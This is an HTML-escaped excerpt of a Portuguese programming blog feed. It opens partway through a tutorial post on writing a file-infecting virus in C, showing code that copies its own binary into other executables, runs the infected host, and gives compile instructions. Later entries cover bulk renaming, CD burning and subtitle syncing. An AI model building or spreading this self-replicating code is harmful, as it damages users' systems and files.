/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((_PATH_[i]==':') || (_PATH_[i]=='\0'))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp=&amp;_PATH_[j];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;diret=(char *)malloc(i-j+tamstr+2);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strncpy (diret, tmp, i-j);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;diret[i-j]='\0';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcat (diret, "/");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcat (diret, exec);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (file_exec=fopen(diret,"r"))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;free (diret);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;achou = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;free (diret);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (_PATH_[i]=='\0') break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;j=++i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else i++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(achou)) return 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret = fread (codvirus, 1, tamVir, file_exec);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (ret &amp;lt;= 0) /* Não conseguiu copiar todo o código do vírus*/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (file_exec);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (file_exec);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void executaHospedeiro (char *exec, int qtde, char *param[])&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE *file_exec;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE *file_tmp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *diret;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char *tmp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char tmpstr[1024];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i=0, j=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int tamstr;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int achou=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long ret;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char prog[512];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* caso não tenha digitado todo o path do arquivo */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(file_exec=fopen(param[0],"r")))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tamstr=strlen(param[0]);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* Busca no PATH do sistema*/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((_PATH_[i]==':') || (_PATH_[i]=='\0'))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp=&amp;_PATH_[j];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;diret=(char *)malloc(i-j+tamstr+2);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strncpy (diret, tmp, i-j);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;diret[i-j]='\0';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcat (diret, "/");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcat (diret, param[0]);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (file_exec=fopen(diret,"r"))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;free (diret);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;achou = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;free (diret);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (_PATH_[i]=='\0') break;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;j=++i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else i++;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(achou)) return;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy (prog,exec);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;for (ret=1; ret&amp;lt;qtde; ret++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcat (prog," ");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcat (prog,param[ret]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!(file_tmp=fopen(exec,"w+")))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (file_tmp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;fseek(file_exec,tamVir,SEEK_SET);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (ret = fread (tmpstr, 1, 1024, file_exec)) fwrite (tmpstr, ret, 1, file_tmp);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (file_exec);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;close (file_tmp);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;chmod (exec,493);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;system (prog);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;unlink(prog);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main (int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;i=fork();&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (i==0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pegaDadosExport ();&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* pega o código binário do vírus para infectar os outros ou então pula a infecção */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (pegaCodVirus (argv[0])) buscaInfecta ("./");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;acao;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;else executaHospedeiro ("./arqexec", argc, argv);&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Compilar com:&lt;br /&gt;&lt;br /&gt;$ gcc virus1.c -o virus&lt;br /&gt;&lt;br /&gt;O valor de "tamVir" irá variar de acordo com a ação escolhida. Compile o vírus, use o ls -l para verificar o tamanho do executável e modifique o valor de acordo com a tamanho encontrado. Compile novamente o vírus.&lt;br /&gt;&lt;br /&gt;A execução do hospedeiro está retornando a seguinte mensagem: "Área de texto ocupada".&lt;br /&gt;&lt;br /&gt;Deixei essa parte para quem quiser resolver, já que essa parte 1 é apenas para começar a ilustrar o funcionamento do vírus.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-4394685698242552196?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/4394685698242552196/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/03/virus-de-computador-e-criacao-de-um.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/4394685698242552196'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/4394685698242552196'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/03/virus-de-computador-e-criacao-de-um.html' title='Vírus de computador e criação de um vírus em C/C++ (parte 1 - básico)'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-7068410400200641075</id><published>2009-03-27T07:55:00.000-07:00</published><updated>2009-05-04T10:09:15.279-07:00</updated><title type='text'>Script para renomear todos os arquivos</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=68c6c461" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Uma das coisas que sentia falta no linux era um comando fácil para renomear todos os arquivos de uma só vez, como no DOS ren *.txt *.bkp&lt;br /&gt;&lt;br /&gt;Esse script renomeia qualquer parte do arquivo, sendo que não precisa o * pois pressupõe-se que ele será usado para renomear todos os arquivos de uma pasta. O escript recebe 2 parâmetros: o que será substituído e o que substituirá.&lt;br /&gt;&lt;br /&gt;ex.: &lt;br /&gt;mvall .txt .html #renomeia todo arquivo .txt para .html&lt;br /&gt;mvall 2 4 #altera qualquer ocorrência de 2 para 4&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;if [ $# -le 1 ]; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo "Faltando parametro. $0 &amp;lt;a substituir&amp;gt; &amp;lt;subistituto&amp;gt; "&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;a="*"$1"*"&lt;br /&gt;&lt;br /&gt;for o in $(ls -1 $a); do&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if [ -f $o ]; then&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mv $o "${o//$1/$2}"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi&lt;br /&gt;done&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-7068410400200641075?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/7068410400200641075/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/03/script-para-renomear-todos-os-arquivos.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7068410400200641075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/7068410400200641075'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/03/script-para-renomear-todos-os-arquivos.html' title='Script para renomear todos os arquivos'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-6880155338841872174</id><published>2009-03-26T11:27:00.000-07:00</published><updated>2009-05-04T10:08:15.374-07:00</updated><title type='text'>Gravação de CD/DVD com API do Windows</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=a9fcf081" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Abra um projeto no Visual Basic 6.&lt;br /&gt;&lt;br /&gt;Adicione a referência (Projetc &amp;gt; References) "VB CD Mastering API Type Library".&lt;br /&gt;&lt;br /&gt;Inclua o Código Abaixo.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;Dim VcSCDBurner As cSimpleCDBurner&lt;br /&gt;&lt;br /&gt;Sub GravaCD (ByVal arq As String)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Set VcSCDBurner = New cSimpleCDBurner&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Você também pode passar o Handle como parâmetro&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;VcSCDBurner.Initialise Me.hwnd&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Verificando se tem unidade de Gravação de CD/DVD&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;If Not VcSCDBurner.HasRecordableDrive Then Exit Sub&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Se quiser saber Qual a Unidade de CD basta usar&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dim Unid As String&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Unid = VcSCDBurner.RecorderDriveLetter&lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Copiando o arquivo para pasta temporária de gravação   &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Neste ponto, você pode copiar pasta, vários arquivo, renomeando; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'depende de sua necessidade&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileCopy arq, VcSCDBurner.BurnStagingAreaFolder&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;'Executando o assistente de gravação do Windows&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;VcSCDBurner.Burn&lt;br /&gt;&lt;br /&gt;End Sub&lt;/div&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Obs.: A gravação só está disponível para versões do Windows Superiores ao Windows XP. Para identificar a versão do Windows.&lt;br /&gt;&lt;br /&gt;O arquivo responsável pela API é o &lt;span style="font-weight:bold;"&gt;IVBIMAPI.tlb&lt;/span&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6560609223793725510-6880155338841872174?l=prginfo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/6880155338841872174/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://prginfo.blogspot.com/2009/03/gravacao-de-cddvd-com-api-do-windows.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/6880155338841872174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default/6880155338841872174'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/2009/03/gravacao-de-cddvd-com-api-do-windows.html' title='Gravação de CD/DVD com API do Windows'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-8750167833998183965</id><published>2009-03-26T09:06:00.000-07:00</published><updated>2009-05-04T10:07:32.261-07:00</updated><title type='text'>Ajustando o sincronismo da legenda com o filme</title><content type='html'>&lt;br&gt;&lt;br /&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=30b99cda" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;   O programa utiliza o ajuste passado como parâmetro para&lt;br /&gt;   sincronizar a legenda dos filmes. são aceitos valores negativos&lt;br /&gt;   e positivos em milisegundos.&lt;br /&gt;&lt;br /&gt;   exemplo: Se a legenda estiver com atrazo de 1 min e 2,345 s&lt;br /&gt;   será utilizado um ajuste de - (1*60*1000) + (2 * 1000) + 345 = -62345&lt;br /&gt;&lt;br /&gt;   O código pode ser usado, distribuído e melhorado sem nenhuma restrição.&lt;br /&gt;   Peço que em caso de meloras, me envie a melhoria para que eu tenha também.&lt;br /&gt;   gjr_rj@msn.com&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;/*&lt;br /&gt;   Programa para sincronização de legendas no formato srt.&lt;br /&gt;   Por: Geraldo José Ferreira Chagas Júnior&lt;br /&gt;   20/07/2008&lt;br /&gt;   compilador: gcc - GNU/Linux &lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;const int TAMLINHA=256;&lt;br /&gt;&lt;br /&gt;long strToMili (char* str);&lt;br /&gt;void miliToStr (long mili, char* str);&lt;br /&gt;&lt;br /&gt;int main (int argc, char* argv[])&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char opc;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char* arqOri;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char* arqDest;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long  ajust;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE* fOri;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE* fDest;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;long tamArq;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* esse jogo com as duas variáveis de percentual servira para não ficar&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;imprimindo o percentual o tempo todo, caso não tenha mudado*/&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int  percent;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int  percentAnt=-1;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char linha [TAMLINHA];&lt;br 